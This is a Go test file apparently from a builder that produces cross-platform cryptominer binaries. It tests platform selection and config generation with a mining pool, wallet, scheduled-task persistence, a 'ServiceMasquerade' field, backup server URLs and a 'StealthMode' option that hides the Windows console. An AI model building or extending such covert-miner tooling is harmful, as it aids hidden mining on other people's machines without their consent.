package builder

import (
	"go/parser"
	"go/token"
	"strings"
	"testing"
)

func TestPlatformsForRequestWindowsDefault(t *testing.T) {
	req := &BuildRequest{TargetOS: ""}
	ps := platformsForRequest(req)
	if len(ps) != 1 || ps[0].GOOS != "windows" {
		t.Fatalf("expected single windows platform, got %+v", ps)
	}
}

func TestPlatformsForRequestLinux(t *testing.T) {
	req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
	ps := platformsForRequest(req)
	if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
		t.Fatalf("expected linux/arm64, got %+v", ps)
	}
}

func TestPlatformsForRequestUniversal(t *testing.T) {
	req := &BuildRequest{TargetOS: "universal"}
	ps := platformsForRequest(req)
	if len(ps) != len(defaultPlatforms) {
		t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
	}
	if len(ps) < 5 {
		t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
	}
}

// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
func TestGenerateBuiltinConfigValid(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName:  "test",
		ServerURL:   "http://127.0.0.1:8989",
		Wallet:      "4TEST",
		Threads:     4,
		ThreadMode:  "percent",
		ThreadPercent: 75,
		PoolHost:    "pool.supportxmr.com",
		PoolPort:    3333,
		PoolPass:    "x",
		RunAs:       "scheduled",
		InstallBase: "localappdata",
	}
	src := h.generateBuiltinConfig("test-build-id", req)
	fset := token.NewFileSet()
	if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
		t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
	}
	if !strings.Contains(src, "ServiceMasquerade") {
		t.Error("expected ServiceMasquerade field in generated config")
	}
	if !strings.Contains(src, "BackupServerURLs") {
		t.Error("expected BackupServerURLs field in generated config")
	}
}

func TestLdflagsForWindowsGUI(t *testing.T) {
	req := &BuildRequest{StealthMode: true}
	ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
	if !strings.Contains(ld, "windowsgui") {
		t.Fatalf("expected windowsgui in ldflags, got %q", ld)
	}
	ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
	if strings.Contains(ldLinux, "windowsgui") {
		t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
	}
}
